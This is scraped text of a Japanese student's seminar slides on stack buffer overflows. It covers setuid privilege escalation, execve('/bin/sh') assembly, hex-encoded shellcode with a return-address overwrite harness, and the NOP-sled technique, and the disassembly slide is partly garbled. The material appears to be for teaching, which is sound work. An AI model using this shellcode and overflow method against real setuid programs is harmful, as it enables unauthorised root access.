Download presentation
Presentation is loading. Please wait.
1
セキュリティ(3) 05A2013 大川内 斉
2
今回の内容 前回、説明不足な内容に終わったバッファオーバーフローについて具体的に行った 不正なプログラムの実行 偽のアドレスで書き換える
test() { ・・・ } int main() char str[3]; char str2[3]; scanf(“%s”,&str); ”AAAAA・・・ test(); ・・・ 不正なプログラムの実行 偽のアドレスで書き換える main()への戻り値アドレス Str2 AAAA Str AAA バッファオーバーフロー
3
開発環境 knoppix(Linux)
4
前回の質問 1.コンパイラはバッファオーバーフローを どの程度防げるか? 2.セキュリティホールが多いOSはどれか?
5
コンパイラはバッファオーバーフローをどの程度防げるか?
配列領域のチェック 関数リターンアドレスの書き換え検出(オプション) コンパイラでもある程度は防止できるが、メモリ保護機能を持つOSやCPU、デバッグツールなどを用いることにより危険性は減少する
6
セキュリティホールが多いOSは? ・WindowsがOSの中で脆弱性の数が最も少ないが、深刻な脆弱性の数は最も多い
Linux MacOS X 深刻な脆弱性の数の多い順
7
今回の目的 セキュリティホールがあり、setuid(ルート権限)が有効であるプログラムに対して不正な攻撃を行いルート権限を奪う
8
一般ユーザとルート ルート(ルートユーザ) 何の制約も受けない、システムの管理者でありすべての権限を持つ 一般ユーザ
何の制約も受けない、システムの管理者でありすべての権限を持つ 一般ユーザ ある程度、アクセスが限られており、Linuxでは通常この一般ユーザアカウントで作業する setuid 実行中のユーザーではなく、一時的に別のユーザに変更できる機能
9
シェル OSの機能の一つで、Linuxではコマンドにより、様々な処理ができるが、シェルはユーザからコマンドを受けてプログラムの起動や制御を行う ls、pwd、cpなどがある 今回、行う攻撃にはshというシェルスクリプトを用いる
10
スタック メモリの使い方を表す概念のこと push命令(データを入れる命令)を実行 push $1 → push $2 → push $ 3 スタックはアドレスの高位~低位に向かって伸びていく pop命令(データを取り出す命令)を一回実行すると・・・ → もっとも低位のアドレスからデータが取り出される ・ 最後にpushしたデータが最初にpopされることになる 03 02 01 000027 000028 000029 アドレス 02 01 000027 000028 000029 アドレス
11
実験例1 int main(int argc, char *argv[1]) { char *data[2];
char *exe = "/bin/sh"; data[0] = exe; data[1] = NULL; execve(data[0],data,NULL); } このプログラムを アセンブリ言語→マシン語 と変換し、不正なコードを 作成する シェルスクリプトを実行できている
12
アセンブリ言語とマシン語 アセンブリ言語 人間にわかりやすい形で機械語を記述する代表的な言語 マシン語(機械語)
アセンブリ言語とマシン語 アセンブリ言語 人間にわかりやすい形で機械語を記述する代表的な言語 マシン語(機械語) CPUが直接理解し実行できるプログラミング言語で、どのプログラミング言語も最終的に このマシン語に翻訳され実行される
13
call文を実行すると、その次に実行すべきアドレス(戻りアドレス)をスタックに格納
アセンブリ言語の作成 .globl main main: jmp L2 L1: popl %esi movl %esi, 0x8(%esi) xorl %eax, %eax movb %al, 0x7(%esi) movl %eax, 0xc(%esi) movb $0xb, %al movl %esi, %ebx leal 0x8(%esi), %ecx leal 0xc(%esi), %edx int $0x80 L2: call L1 .string "/bin/sh" eax ebx 11 /bin/sh ecx edx 配列のアドレス NULL char *data[2]; char *exe = "/bin/sh"; data[0] = exe; data[1] = NULL; execve(data[0],data,NULL); call文を実行すると、その次に実行すべきアドレス(戻りアドレス)をスタックに格納
14
マシン語(機械語)の作成 08048354 <main>:
: eb jmp e <L2> <L1>: : e pop %esi : mov %esi,0x8(%esi) 804835a: c xor %eax,%eax 804835c: mov %al,0x7(%esi) 804835f: c mov %eax,0xc(%esi) : b0 0b mov $0xb,%al : f mov %esi,%ebx : d 4e lea 0x8(%esi),%ecx : d 56 0c lea 0xc(%esi),%edx 804836c: cd int $0x80 e <L2>: 804836e: e8 e3 ff ff ff call <L1>
15
実験例2 unsigned char code[] = "\xeb\x18\x5e\x89\x76\x08\x31\xc0"
"\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; int main(void) { int *radr; //int型のポインタのサイズは4バイト radr = (int *)&radr + 2; (*radr) = (int)code; return 0; } radr ret (戻りアドレス) アドレス 000024 000032
16
目的を明らかにすると バッファオーバーフローを起こすことにより、 ターゲットプログラムのret(戻りアドレス)を
不正なコードの先頭アドレスに上書きできれば、不正なコードを実行できる
17
プログラムで行っていること1 1.初めに不正プログラムのスタックポインタspを求めている(spは次にデータが格納されるアドレスを指す)
ターゲットプログラムのスタック位置 不正プログラムで宣 言された変数など ret buf sp スタック
18
プログラムで行っていること2 3.別の領域に確保した配列(A)の全ての領域を先ほど推測したアドレス(X)で埋める
4.Aの前半分をNOP命令(no operation)で埋め、その後、不正なコード(S)を格納する 5.配列Aをターゲットプログラムに渡す (配列Aはターゲットの配列より大きい) 配列A X X X X X X 配列A N N N S X X
19
プログラム実行の仕組み ここでは、仮に推測したアドレスがターゲットのbuf配列のアドレスを指しているとする
先頭アドレスを指定しなくても、XがNOPを 指していれば不正なコードは実行される NOPは何も行わない命令でそのまま進み、 不正なコードが実行されることになる ターゲットプログラム のスタック N N N S X X X ここのXはターゲット プログラムのretが 入っていた場所
20
プログラム実行 不正なコードを実行できていることがわかる
21
今後の予定 攻撃法の検証と分析 不正侵入検知(IDS)
22
参考資料 サイト ・Wikipedia http://ja.wikipedia.org/wiki/
・IPA(情報処理推進機構) ・ITpro ・IT+PLUS ・「アセンブリ言語の教科書」の原稿 ・バッファオーバーフローの危険性 書籍 ・ハッカーの教科書
Similar presentations
© 2024 slidesplayer.net Inc.
All rights reserved.